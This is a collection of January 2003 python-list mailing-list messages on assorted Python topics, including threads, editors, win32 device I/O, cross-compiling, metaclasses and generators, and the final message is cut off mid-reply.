Message-ID: <v295n7inf1k742@corp.supernews.com>

In article <mailman.1042572205.4047.python-list at python.org>,
Rick Richardson  <rrichardson at eti-main.enabletech.com> wrote:
>I assume by automate you mean create html forms that automagically post to
>automagically generated receivers given some database or XML scheme. I'd
>recommed XSLT for something like this. Python can manage the html file
>generation/management processes for you quite easily.
>
>Also if you're not stuck on JSP there is Zope, which many enjoy but I've
>never used. 
>Another option, Twisted has created a really neat Widget/Gadget template
>Model/View/Controller based web devel/deployment system. I have used that
>one and I must say it's the first thing that's ever made web development fun
>:)
>
>I never did get into JSP much, most (free) systems were too hard to
>configure and the servlet/bean/jsp 
>system was cool but just didn't feel right to me. But some people swear by
>it, so hey. 
			.
			.
			.
Maybe.

Web testing's a specialized area.  That's an oblique way of
saying that there's a professional level of Web testing that's
a lot different from the amateur one.

My estimate is that we're still at the stage of gathering re-
quirements.  Mr. Reyes could mean by his questions just that
he's not familiar with the topic of "Web scraping", and doesn't
know how to automate validation of a modest number of Web pages.
Or he could be saying that he has large-scale requirements to
verify the rendered appearance of tens of thousands of distinct
pages, as seen through either of several browsers.

Chatter about JSP makes me suspect that the question is an
introductory one for him.  JSP is probably *not* among the
ten (let's say) most salient technical dimensions of this task.

I consider XSLT a disservice for someone at the stage I believe
Mr. Reyes is.

Twisted is truly remarkable.  I don't think we know enough yet
to decide whether it's pertinent.

So:  my recommendation is that this thread start back at the 
beginning.  Mr. Reyes, how will you know when you're done?  If
we can teach you how to automate retrieval of the content of
one Web page, with parametrized forms values and such, will you
be substantially nearer your goal?
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From Mongryong at sympatico.ca  Wed Jan 29 14:59:16 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 29 Jan 2003 14:59:16 -0500
Subject: Starting threads
In-Reply-To: <Pine.LNX.4.44.0301290746230.26166-100000@x.opf.slu.cz>
References: <Pine.LNX.4.44.0301290746230.26166-100000@x.opf.slu.cz>
Message-ID: <1043870356.1434.63.camel@refugeeMedia>

If you really do need globals variables when using threads, there's a
concept know as thread "keys".  Basically, the globally variable
"changes" for each thread.

Here's a simple implementation of a thread key:

import thread
class Key:
	def __init__(self):
		self.value = {}

	def set(self, value):
		self.value[thread.get_ident()] = value

	def get(self):
		self.value[thread.get_ident()]

globalVar = Key

class MyThread(Thread):
	def __init__(self, name):
		globalVar.set(name)
	def getName(self):
		return globalVar.get()

for a in ["comp1", "comp2"]:
	thread = MyThread(a)
	thread.start()

Of course, this is a contrive example.  In this simple example, you're
probably better to use a member variable for each thread.  But thread
keys might be useful for other things where having a global variable is
a simpler solution.





From grey at despair.dmiyu.org  Fri Jan  3 20:37:25 2003
From: grey at despair.dmiyu.org (Steve Lamb)
Date: Sat, 04 Jan 2003 01:37:25 -0000
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <slrnb18rrp.7kd.rmunn@rmunnlfs.dyndns.org> <slrnb19use.h00.grey@teleute.dmiyu.org> <3e154de3_2@mk-nntp-2.news.uk.tiscali.com> <3E156ABB.CC059072@alcyone.com> <av4hmu$ir6$1@ins22.netins.net> <8t3e1vok48v8nlnmu7p5vbfhh4jifntlf6@4ax.com> <av5cfc$8j6$1@ins22.netins.net>
Message-ID: <slrnb1ceml.sen.grey@teleute.dmiyu.org>

On 4 Jan 2003 01:13:16 GMT, Mike Dean <klaatu at evertek.net> wrote:
> I wasn't using Vim as heavily then as I am now (I was still a primarily
> Windows user whose idea of a text editor was Notepad (or MS-DOS Edit).
> It didn't occur to me at that time what all a text editor might be able
> to do.).  I've now started doing more coding, am editing configuration
> files, etc., and have needed a sophisticated editor a lot more.

    I'm curious as to what scripting you've had to do with vim.  I've not had
a need so far.  Sure, configuration file changes and one script written by
someone else but that's it in the past 4 years.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
    To email: Don't despair!   |  -- Lenny Nero, Strange Days
-------------------------------+---------------------------------------------



From martin at v.loewis.de  Wed Jan  1 16:42:06 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 01 Jan 2003 22:42:06 +0100
Subject: [PyKDE] pyqt/mysqld thread deadlock
In-Reply-To: <200301011336.01085.kibab@icehouse.net>
References: <200301010958.45042.kibab@icehouse.net> <200301012017.42377.phil@river-bank.demon.co.uk> <m3vg18mw6q.fsf@mira.informatik.hu-berlin.de> <200301011336.01085.kibab@icehouse.net>
Message-ID: <3E1360AE.3030909@v.loewis.de>

Kaleb Pederson wrote:
> (gdb) thread 1
> #0  0x4024b1be in select () from /lib/libc.so.6
[...]
> #16 0x080a81d2 in PyImport_ImportModuleEx (name=0x818a924 "gem.src.gui.gui", 
> globals=0x8145154, locals=0x8145154, fromlist=0x8114484) at 
> Python/import.c:1658
[...]
>>From my limited knowledge of the Python interpreter, it looks like the lock 
> only gets acquired once in the third thread.  In which case, there would be 
> no reason for it to block.  But, the first thread also had some relevant 
> import calls, so I'm not sure.  Where do I look now?

See the source of PyImport_ImportModuleEx. It acquires the import lock, 
so you are holding the import lock while QApplication_exec_loop is 
running. That means you deadlock.

gem.src.gui.gui should not run the mainloop, but expose a function to 
run the mainloop, which the importer of gui should then invoke.

Regards,
Martin






From brian at sweetapp.com  Wed Jan  1 17:26:39 2003
From: brian at sweetapp.com (Brian Quinlan)
Date: Wed, 01 Jan 2003 14:26:39 -0800
Subject: Python vs. Ruby
In-Reply-To: <v15qkn19h361d6@news.supernews.com>
Message-ID: <001501c2b1e4$dac88770$21795418@dell1700>

John Roth wrote:
> > > It also has a solution to one of the ugliest warts in Python:
> > > the fact that the .append(), .sort() and .reverse() methods
> > > don't return an updated value, so you can't chain them.
> >
> Of course it would be, and I regard the design as a major
> inconsistency in Guido's thinking. Being novice friendly is
> one thing, but penalizing everyone else by crippling chained
> application is quite something else.

It's not just newbie friendly, it's also a semantic aid for experts. If
chaining were typical in Python, then you would have no immediate
indication if a method is returning a new value or (a possibly mutated
version of) itself e.g. from reading this code:

foo.sort()
foo.count('a')

I can intuit that the sort is being done inplace. From this code:

foo.sort().count('a')

I cannot.

Since not using chained methods removes this semantic aid and it only
saves you the cost of typing an identifier, I think that the Python
design is reasonable.

Cheers,
Brian





From timr at probo.com  Thu Jan  2 00:44:06 2003
From: timr at probo.com (Tim Roberts)
Date: Wed, 01 Jan 2003 21:44:06 -0800
Subject: Python Win32 API question.
References: <6e07b825.0212311627.741bdfe5@posting.google.com>
Message-ID: <ack71v4i13bucjdm71ec9j58suog3hn9p2@4ax.com>

yaipa at yahoo.com (yaipa h.) wrote:
>
> Good Cheer and Happy Holidays. In Mark Hammond's win32 toolkit there is
>a device I/O control method (win32file.DeviceIoControl). Has anyone had
>a chance to use it? If so could you provide an example of it in action.
>
>Also, the parameter 'dwIoControlCode' is said to use an IO control code,
>but none are listed and this library does not hold to the MFC library's
>naming convention so no chance on looking it up. :(

Did you try it?  DeviceIoControl most certainly IS part of the Win32 API,
as are all of the methods in win32file.  Look it up in MSDN.

BTW, this has nothing to do with MFC.  It's Win32.

>Finally, for the big points. Anyone belive that I will be able to use
>any of the 'IOCTL_*' enumerated values from the MFC toolkit with the 
>win32file.DeviceIoControl library method?

Absolutely.  Any ioctl you find in the Win32 include files can be used with
DeviceIoControl, assuming you can figure out which device to send them to,
and assuming you expand the macro to get a hex value for the ioctl.  The
first parameter to DeviceIoControl is the file handle of the driver that
will handle the ioctl.

>'IOCTL_DISK_GET_DRIVE_GEOMETRY' Operation
>-------------------------------------------
>Returns information about the physical disk's geometry 
>(media type, number of cylinders, tracks per cylinder, 
>sectors per track, and bytes per sector).

That's:

#define IOCTL_DISK_GET_DRIVE_GEOMETRY   CTL_CODE(IOCTL_DISK_BASE, 0x0000,
METHOD_BUFFERED, FILE_ANY_ACCESS)

Which should be 0x00070000.

>win32file Function Header
>-------------------------
>string = DeviceIoControl(hFile, dwIoControlCode , data , readSize , ol )
>
>Call DeviceIoControl Parameters
>-------------------------------
>hFile           : int
> # Handle to the file
>dwIoControlCode : int 
> # IOControl Code to use.
>data            : string
> # The data to write.
>readSize        : int
> # Size of the buffer to create for the read.
>ol=None         : PyOVERLAPPED
> # An overlapped structure

So, you'd need to call win32file.CreateFile to open the special file
\\DISK0 and get a handle.  Then you can call:

IOCTL_DISK_GET_DRIVE_GEOMETRY = 0x00070000
handle = ...CreateFile icky details omitted...
s = DeviceIoControl(handle, IOCTL_DISK_GET_DRIVE_GEOMETRY, 0, 0, 0)

That ioctl doesn't take any input data, so you don't have to pass anything.
The information comes back to you in the string, which you will have to
parse with something like the struct module.
--
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.



From Kevin.Smith at sas.com  Sat Jan 25 12:48:02 2003
From: Kevin.Smith at sas.com (Kevin Smith)
Date: 25 Jan 2003 17:48:02 GMT
Subject: Instance at two addresses (Python 2.2)?
References: <20030124111855332-0500@braeburn.themorgue.org> <RXednVAHO9BqVKyjXTWcqg@comcast.com>
Message-ID: <20030125124807054-0500@braeburn.themorgue.org>

In <RXednVAHO9BqVKyjXTWcqg at comcast.com> Terry Reedy wrote:
>> # This 'if' block works in Python 2.0, but not in Python 2.2.
>> # For some reason, in Python 2.2, 'self' isn't equivalent to
> 'section'
>> # at any point even though they appear to point to the same object
>> # based on other criteria (i.e. result of calling other methods).
> 
>>          # If 'self' is the same object as 'section', then break
>>          # out and return the current list of sections.
>>          if section is self:
> 
> Have you verified that this is true (in 2.2) on creation of the
> instance where this is not true.  Is the problem with just one or some
> instances or all?  Does output of documentSections() stay constant?

It appears to happen to all instances except the root node of the 
document.  The result of documentSections() is always constant.  It 
creates the list of sections on its first call and stores it, and every 
call thereafter returns the stored version. 
 
>>             list.reverse()
>>             return list
>>          # Keep looking.
>>          else:
>>             list.append(i)
>>       list.reverse()
>>       return list
>>
>> Does anyone know what occurred in Python 2.2 to make this not work
>> anymore?
> 
> My suggestion: explore some more with print statements (or the
> debugger) to isolate when mismatch is first apparent.

It's going to take a while to really track it down.  This is a pretty 
large program.  I did do one more thing though.  On instantiation of 
each node in the document I saved the result of 'id(self)' in an 
instance variable and compared that to the same 'id(self)' in the code 
above.  These two calls give different answers (except on the root node).  
I'll keep trying to track it down, but at least I can use this new 
instance variable as a workaround for now.

-- 
Kevin Smith
Kevin.Smith at sas.com



From sholden at holdenweb.com  Wed Jan 15 09:18:10 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Wed, 15 Jan 2003 14:18:10 GMT
Subject: Copyright on the Python and Python-console icons?
References: <mailman.1042599446.7372.python-list@python.org>
Message-ID: <C4eV9.2943$YI5.2178@news2.central.cox.net>

"Tim Peters" <tim.one at comcast.net> wrote in message
news:mailman.1042599446.7372.python-list at python.org...
> [Mike C. Fletcher]
> > Okay, thanks all.  I'm thinking I'll have to find a way to blackmail
> > the board (or at least Tim) into not suing me :) .
>
> [Erik Max Francis]
> > At this point I'd say either secure written permission or take a pass on
> > the idea.
>
> I wouldn't <wink>.  Mike got a public statement from a PSF director (me)
> that he thinks Mike's use is fine.  Anything beyond that is going to drag
> lawyers and expense into it, not to mention non-existent "spare time" from
> other PSF directors to bother with it.  If Mike is still uncomfortable, he
> can make a formal request to the PSF board, and fritter away more of his
> time worrying about a non-issue too.  Note this point in the PSF's mission
> statement:
>
>     http://www.python.org/psf/mission.html
>
>     + Establishes PSF licenses, ensuring the rights of the public to
>       freely obtain, use, redistribute, and modify intellectual property
>       held by the PSF.
>
> Copyrights are among the kinds of "intellectual property" the PSF holds,
and
> everything in the Python distro under the PSF copyright is covered by the
> PSF license.  So long as Mike doesn't violate the license, he doesn't even
> need to ask permission -- the PSF license explicitly grants him permission
> to use, redistribute (and etc) the intellectual property held by the PSF.
> So if Mike pushes this, the advice we'll pay our lawyers to give him is
that
> he pay his lawyer to give him advice on whether he's conforming to the
terms
> of the PSF license.  If Mike doesn't push this, he can use the icons in
> peace and nobody will complain.
>
> win-win-or-lose-lose-it's-a-tough-decision<0.9-wink>-ly y'rs  - tim
>

Just in case Mike has any further worries on this score, he should note that
I use one of the icons (with permission from Mark, as I rememebr) in "Python
Web Programming".

so-when-the-psu-come-to-get-him-they'll-have-to-get-through-me-first-ly
'rs  - steve
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/






From andrew at indranet.co.nz  Mon Jan 13 15:18:52 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Tue, 14 Jan 2003 09:18:52 +1300
Subject: syntax for preset locals without using dummy args with defaults
In-Reply-To: <Pine.GSO.4.44_heb2.09.0301131612370.4790-100000@techunix.technion.ac.il>
References: <avmoeu$v8p$0@216.39.172.122>
 <dqycnYAwFISbyIKjXTWc2Q@comcast.com> <avo5ir$m9h$0@216.39.172.122>
 <3E1FAA5F.F426AB6F@alcyone.com> <avpspr$r9v$0@216.39.172.122>
 <Pine.GSO.4.44_heb2.09.0301131612370.4790-100000@techunix.technion.ac.il>
Message-ID: <125070000.1042489132@localhost.localdomain>


--On Monday, January 13, 2003 18:17:35 +0200 Beni Cherniavsky 
<cben at techunix.technion.ac.il> wrote:

> On 2003-01-11, Bengt Richter wrote:
>
>> My first choice would be a new keyword to provide a place other than the
>> parameter list to specify the def-time code that generates the local
>> bindings in question (e.g., z above):
>>
>>    def foo(x, y=default):
>>        preset: z=some_expression
>>        ...
>>
>> IOW, the suite of "preset:" would be compiled to be executed at def-time
>> rather than call-time. I.e., the code would go into the same context as
>> the code that evaluates default parameter expressions, not into the body
>> of the call-time function code. Having a full suite would allow
>> exception handling and raising in that context, and uncaught exceptions
>> would propagate the same way def-time default value expression
>> exceptions do.
>>
> That's precisely the problem with it.  Consider the lisp/scheme way to
> create functions with preset bindings, (including the "static" behaviour,
> since python's restrictions against changing bindings in outer scopes
> don't apply):
>
> (let ((z zome_expression))
>   (define (foo x y)
>     ...))
>
> Note that the binding is computed when the function is created and not
> when it's run - and that's precisely how it's written.  Currently I can
> blindly assume that the body of a def is not executed immediately.  With
> your preset syntax, I must be wary when reading defs.  It'd be like lisp's
> backquote, a.k.a. semi-quote (which allows special markers inside the
> quoted expression to "unquote" parts of it) that requires more attention
> from the reader than simple quoting.

More like a macro with some quoted some unquoted arguments than partial 
quoting.  Of course, that's exactly what let *is*.

> 1. Most would probably consider this a YAGNI for adding a new keyword.
>
> 2. I see no elegant syntax to allow multiple bindings on the same level
>    (e.g. let and not "poor-man's let*").  For multiple bindings that
>    are not inter-dependent, nesting the lets is visually sub-optimal...
>    The closest thing in python for simultatneous bindings is augmented
>    assignment but it was not designed for this case (no var-value pairs
>    ordering and doesn't continue for many lines.

How about:

with:
    z = some_expression
    z1 = some_other_expression
    # for consistency, should allow this too.
    def quux(bar):
        do_something()
do:
    def foo(x, y=default):
        do_stuff()

One could of course use 'let' instead of 'with'.  This nests, too, and 
provides a tidy way to statically rebind things locally for both 
performance and readability (for instance, the 'self' threads).

This moves the def-time stuff to somewhere that is explicitly done at def 
time, and looks like it.

> 3. The same reason why Python avoids nesting scopes in e.g. a for loop:
>    currently, the scope-creating constructs (def & class) make all
>    inner assignments have a new scope.  So introducing anything that
>    behaves otherwise would make scoping less consistent and "harder to
>    explain".  On the other hand, it would also make it much easier to use
>    and I believe the later should win.

I tend to agree.

Andrew




From dallasm at aiinet.com  Tue Jan 21 17:59:17 2003
From: dallasm at aiinet.com (Mahrt, Dallas)
Date: Tue, 21 Jan 2003 17:59:17 -0500
Subject: Cross compiling for ARM
Message-ID: <638AA0336D7ED411928700D0B7B0D75B02E1F1BB@aimail.aiinet.com>

The main build process creates pgen and python executables for the build
platform. The use of the pgen executable can be commented out in the
Makefile.pre.in without any problems (since it generates the grammar.h file
[IIRC] which comes with the distribution) but the python executable is
nesessary if you want to use distutils for installing the standard libraries
and compiling the impure python modules (*.so). To do this I would change
calls to the built executable $(BUILDPYTHON) with a previously built python
interpreter for the build environment. 



-----Original Message-----
From: Andy Preston [mailto:andy at apsinnovations.com] 
Sent: Monday, January 20, 2003 8:02 PM
To: python-list at python.org
Subject: Cross compiling for ARM


Hi, 
I'm currently trying to get 2.3a1 to cross compile for ARM. I have a pretty
much successfull compile right up until it attempts to run ./python setup.py
. This or course fails because ./python is the cross compiled version and
not the host version of python. I modified Makefile.pre.in to add a
$(HOSTPYTHONPATH)/python so that a make flag could be added to path the
hosts python for when cross compiling. I'm running Slackware 8.1 with their
default python 2.2 and this fails with an error on line 8 of setup.py
"cannot find import name log".

 Parser/pgen is fails, but it doesn;t seem to effect python from compiling.

 Unfortunately I don't know enough about python to continue from here. 

I'm currently not subscribed to the list, so please CC me as well

thanks,

Andy

-- 
Andy Preston <andy at apsinnovations.com>
APS Innovations


-- 
http://mail.python.org/mailman/listinfo/python-list




From exarkun at intarweb.us  Fri Jan 24 16:46:13 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Fri, 24 Jan 2003 16:46:13 -0500
Subject: Syntax modification idea: (classmethods, properties locking...)
In-Reply-To: <1043441969.21785.1224.camel@lothlorien>
References: <b077d1$7ag@news.Informatik.Uni-Oldenburg.DE> <mailman.1043356128.29302.python-list@python.org> <2259b0e2.0301240619.dc0a2f8@posting.google.com> <1043441969.21785.1224.camel@lothlorien>
Message-ID: <20030124214613.GF15790@meson.dyndns.org>

On Fri, Jan 24, 2003 at 02:59:30PM -0600, Ian Bicking wrote:
> On Fri, 2003-01-24 at 08:19, Michele Simionato wrote:
> > Ian Bicking <ianb at colorstudy.com> wrote in message news:<mailman.1043356128.29302.python-list at python.org>...
> > > [snip]
> > 
> > You want
> > 
> > __metaclass__=type('DoubleMetaclass',(PropMetaclass, SomeOtherMetaclass),{})
> 
> Okay, now what does that *mean*? :)  (It doesn't seem to be in the
> documentation)
> 

It's the same as:

class DoubleMetaClass(PropMetaclass, SomeOtherMetaclass):
    pass

type() takes either 1 argument, in which case it returns the type of the
parameter, or 3 arguments, in which case it acts as a metaclass (Woo!) and
returns a new type-object with the specified name, bases, and attributes.

  Jp

-- 
"There is no reason for any individual to have a computer in their
home."
                -- Ken Olson, President of DEC, World Future Society
                   Convention, 1977
-- 
 up 40 days, 1:49, 7 users, load average: 0.60, 0.63, 0.62
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030124/363e5a31/attachment.sig>

From andrew.henshaw at gtri.gatech.edu  Wed Jan 15 00:19:33 2003
From: andrew.henshaw at gtri.gatech.edu (Andrew Henshaw)
Date: Wed, 15 Jan 2003 00:19:33 -0500
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann] Minimal Python project)
References: <GCEDKONBLEFPPADDJCOEEEANHFAA.whisper@oz.net> <mailman.1042501897.17131.python-list@python.org> <ppd92v4dsdds6cb1m7bn4uk15qdo51br4d@4ax.com> <mailman.1042596149.25126.python-list@python.org>
Message-ID: <v29rr23obggb81@corp.supernews.com>

Christian Tismer wrote:

... snip 
> 
> Sure it does, at least in the context of a "Minimal Python".
> After all, this project turns out to be not *that* minimal
> in the first place. It is of course aimed at the possibility
> to downsize Python by removing whole classes of constructs.
> But it also tries to be a full implementation of the existing
> python, or even more than that.
> 
> Our final goal is to make Python self-contained, that means that
> Python should implement itself, and it should no longer be
> dependant of some C libraries, nor should its majority be
> coded in C. The C part of this new Python will be put down
> to the absolute minimum possible by a simple and portable
> micro interpreter core. Everything else will be built on top of
> this.
> While this minimal interpretrer in C will be able to run on any
> platform, this is only a matter of bootstrap and basic portability.
> For every relevant platform, a real code generator will be developed,
> which will hopefully create code that is comparably fast like the
> C implementation. Furthermore, due to the dynamic techniques in
> Psyco, we do hope to get it reasonably faster.
> 
> At least concerning our goals, this is not so much of a "Minimum" :-)
> 
> ciao - chris

Tired of this yet?

How about "self.python"?

Regards,
 
Andy



From pennedinil at excite.com  Sat Jan 18 02:02:51 2003
From: pennedinil at excite.com (DP)
Date: 17 Jan 2003 23:02:51 -0800
Subject: Python, COM & Excel
Message-ID: <6af8e801.0301172302.56c19659@posting.google.com>

Hello all,

I'm doing some work with Python, & COM integration (win32all v. 1.52
installed with Pthon 2.2.2). I'm having a difficult time getting
started. Some of the functions/objects I expect will work don't,
others work in unexpected ways. I'd very much appreciate pointers,
sample scripts, etc. from individuals who have had better luck with
Python & Excel integration. I'm working primarily with Excel 2000 and
MS Word. I hope to be able to figure things out myself later, pointers
will be appreciated.

BTW I'd get the "Python & Win32" book in normal circumstances, but
currently this is not possible.

Thanks in advance.

Dinil.



From dglenn at charter.net  Mon Jan  6 21:17:56 2003
From: dglenn at charter.net (Doug Glenn)
Date: Mon, 6 Jan 2003 21:17:56 -0500
Subject: best python editor/ide for windows
In-Reply-To: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDE9D@admin56.narex.com>
References: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDE9D@admin56.narex.com>
Message-ID: <200301062117.56052.dglenn@charter.net>

On Monday 06 January 2003 13:10, Bjorn Pettersen wrote:
> > I would suggest EmEditor (http://www.emurasoft.com).
>
> Ok, I'll bite... Why? (i.e. why is it better than the others?) Not
> trying to argue, just looking for information :-)

I'm curious as well. I'm using Pythonworks, WIng IDE, Komodo, Pycrust.  
I like Pythonworks, but it is no longer supported. That bites for the 
price.  

So I am trying to find someting I like. 

-----
Doug




From andrew at indranet.co.nz  Sat Jan  4 07:15:35 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Sun, 05 Jan 2003 01:15:35 +1300
Subject: Help, replacing the actual value from a data strucutre in a
 iterator
In-Reply-To: <c490a7ae.0301040331.33ff489f@posting.google.com>
References: <c490a7ae.0301031942.5f39a6a8@posting.google.com>
 <msudnajgx8ojFoujXTWcqw@comcast.com>
 <c490a7ae.0301040331.33ff489f@posting.google.com>
Message-ID: <163440000.1041682535@localhost.localdomain>

Hi,

--On Saturday, January 04, 2003 03:31:06 -0800 george hart 
<gehart24 at yahoo.com> wrote:

>> o is now bound to 0
>>
>> > o=100   # where i want this assignment to change a[0] to 100
>>
>> No way.  You are simply rebinding 'o' to a new value.  Just write
>> 'a[0] = 100'!
>
> Hi,
>
> I'm sorry, I think my example was not very good.  I can't just write
> 'a[0]' because the *real* data structure I am working with is very
> complex and nested.  It would be more like a[1][10][20][40] etc..
>
> I am a relatively new to python so I am probably trying solve the
> problem the way I would in C (it would be nice to have pointers right
> now :-).   The returned value from the .next() method appears to be
> pointing to the same memory address as the respective element in the
> data structure.  It seems logical that there should be an easy way to
> modify it.

It is pointing to the same address; but it's the address of the integer 
value 0, not the list slot containing that 0.

> Plus, there must be a way to do this?  What is the point of being able
> use a generator to iterate over a structure if you can't modify any of
> the values?

How about:

from __future__ import generators
from types import *

a=[0,1,2,[20,30,40],9,3]
def generator(l):
    for i in xrange(len(l)):
        if type(l[i]) is list:
            for q in generator(l[i]):
                yield q
        else:
            yield (lambda : l.__getitem__(i),
                   lambda x: l.__setitem__(i, x))

print a
gen = generator(a)
g, s = gen.next()
print g()
s(100)
print a
g, s = gen.next()
g, s = gen.next()
g, s = gen.next()
g, s = gen.next()
s(100)
print a

which prints:
[0, 1, 2, [20, 30, 40], 9, 3]
0
[100, 1, 2, [20, 30, 40], 9, 3]
[100, 1, 2, [20, 100, 40], 9, 3]




>
>
> Thanks,
>
> George
> --
> http://mail.python.org/mailman/listinfo/python-list
>
>






From shashank_tiwari at nyc.rr.com  Tue Jan 21 22:46:39 2003
From: shashank_tiwari at nyc.rr.com (shashank tiwari)
Date: Wed, 22 Jan 2003 03:46:39 GMT
Subject: Python use growing or shrinking
References: <v2rhpd4d6p8f79@corp.supernews.com> <mailman.1043202822.9560.python-list@python.org>
Message-ID: <zuoX9.59088$yi6.8716647@twister.nyc.rr.com>

somehow use of python in corporate domains is still limited. Worst still
among the tech managers many havn't heard of python. awareness about python
needs to grow

"holger krekel" <pyth at devel.trillke.net> wrote in message
news:mailman.1043202822.9560.python-list at python.org...
> Greg Brunet wrote:
> > Just as a point of information, I was reading this article about Java
> > and the recent ruling that MS must include it in Windows & .NET
> > (http://www.salon.com/tech/feature/2003/01/21/java/print.html). It
> > had a link to this site (http://www.tiobe.com/tpci.htm) which ranks
> > Python as a "B" status language with declining popularity.
> >
> > There's only a general discussion of their methodology, and I'm not
> > arguing that one should choose a language solely because of it's
> > popularity or rate of increase/decrease (and what's up with RPG having
> > the second fastest growth rate!?!).  Still, it's it provides another
> > viewpoint on 'the language wars'.
>
> Question is: is it a weapon or a view on language wars?
>
> I know a lot of programmers who are currently getting
> into python.  Python usage certainly isn't decreasing in
> my world.  I certainly don't take random job offers,
> advertisements or randomg google searches as a significant
> indicator especially for free software developments.
>
> But free softare actually *drives* the web and email networks
> which .Net & Java types are constantly *hyping* about.
> For a more serious source regarding my last statement
> look e.g. at:
>
>     http://www.netcraft.com/survey
>
> regards,
>
>     holger
>





From grante at visi.com  Fri Jan  3 18:12:32 2003
From: grante at visi.com (Grant Edwards)
Date: 03 Jan 2003 23:12:32 GMT
Subject: how to submit a patch?
References: <3e160e11$0$229$a1866201@newsreader.visi.com> <slrnb1c3u0.3kp.gerhard.haering@lilith.my-fqdn.de> <3e1616fc$0$174$a1866201@newsreader.visi.com>
Message-ID: <3e1618e0$0$174$a1866201@newsreader.visi.com>

In article <3e1616fc$0$174$a1866201 at newsreader.visi.com>, Grant Edwards wrote:

>>> However, I've not been able to figure out how to submit a
>>> patch. I found the web page that allows one to browse existing
>>> patches.  How do I submit one?
>> 
>> Does this answer some of your questions:
>> 
>> http://www.python.org/dev/devfaq.html#patches
> 
> Using the SF patch manager, how do you submit a patch?
> 
> IOW, where is the "submit patch" button hidden?

Aaarrrgh.  I finally remembered that you have to log in before
the "submit new" link shows up on the patch manager page.

In order to distract the gentle reader from my absent
mindedness I will now proceed to blame the web page design: I
think the "submit new" link should always be there.  If you
click it when you're not logged in, then tell the user to log
in.  I would have sworn that's the way it used to work, but I
was probably thinking of a different web site.

-- 
Grant Edwards                   grante             Yow!  Bo Derek ruined
                                  at               my life!
                               visi.com            



From tdelaney at avaya.com  Wed Jan  8 21:22:13 2003
From: tdelaney at avaya.com (Delaney, Timothy)
Date: Thu, 9 Jan 2003 13:22:13 +1100 
Subject: Explicit Frustration of the Self
Message-ID: <B43D149A9AB2D411971300B0D03D7E8BF0A821@natasha.auslabs.avaya.com>

> From: Cliff Wells [mailto:clifford.wells at attbi.com]
> On Sun, 2003-01-05 at 22:34, Delaney, Timothy wrote:
> > 
> > OK - officially a troll.
> 
> Was it the hairy feet that gave it away?

Nah - the way it turned to stone when confronted with the light of truth ;)

Tim Delaney




From bokr at oz.net  Sun Jan 19 06:41:19 2003
From: bokr at oz.net (Bengt Richter)
Date: 19 Jan 2003 11:41:19 GMT
Subject: __parent__ - like attribute?
References: <av7cuu$cu2$1@slb0.atl.mindspring.net> <YhlS9.24314$NB4.6001@FE05> <5.1.1.6.0.20030118165504.01d41718@www.dylanreinhardt.com> <mailman.1042947586.19440.python-list@python.org> <mailman.1042955509.8397.python-list@python.org>
Message-ID: <b0e2sv$ipm$0@216.39.172.122>

On Sat, 18 Jan 2003 21:52:00 -0800, Dylan Reinhardt <python at dylanreinhardt.com> wrote:

>At 09:00 PM 1/18/2003, Dennis Lee Bieber wrote:
>>        My understanding was that he wants changes /in/ the eggs instance to
>>affect the "changed" attribute of the spam instance.
>
>Yes, exactly.
>
>>         To which my response is: What is
>>
>>c = eggs()
>>c.do_stuff()
>>
>>supposed to be changing? The global namespace?
>
>I don't think so... but if that gets me where I need to go, I'm all ears.  :-)
>
>>class eggs(spam):
>>         def __init__(self):
>>                 spam.__init__(self)
>>
>>         def do_stuff(self):
>>                 self.changed = 1
>>                 ...
>
>I doubt inheritance will do the trick here.  Spam isn't a base class, it 
>defines a container object.
>
>To recap/clarify:
>
Why not write minimal code to illustrate?
>I have several instances of spam, each of which contains (let's say) many 
several_instances_of_spam = [Spam() for i in range(several)]

>thousands of instances of eggs.  I want for changes made to a single 
for spam_instance in serveral_instances_of_spam:
    for i in xrange(thousands):
        spam_instance.put_inside_spam(Eggs())

>instance of eggs to be made known to the specific instance of spam that 
>contains it.  Similarly, I want for any instance of eggs to be able to get 
>the value of any attribute of its containing spam object.
several_instances_of_spam[an_index_less_than_several].get_contained_egg(
    index_less_than_thousands).changed_attr = some_change

>
>To put this more generally, I want a subobject to find its containing 
What is your concept of "subobject"? If you set a = [b] is b a subobject
of a? I.e., simple binding of a reference in any manner into some part
of an object makes the referred-to object a subobject?


>object so that methods of the containing object can be called and 
>attributes of the containing object can be set/checked. I gather there's no 
see [1] below

>easy, pre-defined way to do this, so any namespace voodoo that can do the 
>trick would be most welcome.
>
Sure, there's any number of ways to do it. But to choose one, we need to know
how well/badly the above code reflects your problem world.

How are all the objects created? And how is an Egg instance made a subobject of
a Spam instance? I hypothesized that Spam objects would have a method to stuff
Egg instances into them serially, so the inside collection is implicitly known
by number. I.e, the statement from above that creates and stuffs new eggs into
spam instances is

    spam_instance.put_inside_spam(Eggs())

You notice I didn't even pass anything to the Egg constructor, but that would
be a place you could tell an egg what spam instance it was being put into, not
necessarily a direct reference, but you could, though it would create reference
cycles that you should manage carefully. E.g., if the Egg class were

    class Egg:
        def __init__(self, my_container):
            self.my_container = my_container

then

    spam_instance.put_inside_spam(Eggs(spam_instance))


would let any egg method reach the enclosing spam container via

    self.my_container

[1] and thus

    self.my_container.method_of_containing_object()
and
    self.my_container.attribute_of_containing_object = value_to_set_check

would do what you wanted. If self.my_container was not a reference, but an index,
you might use it like

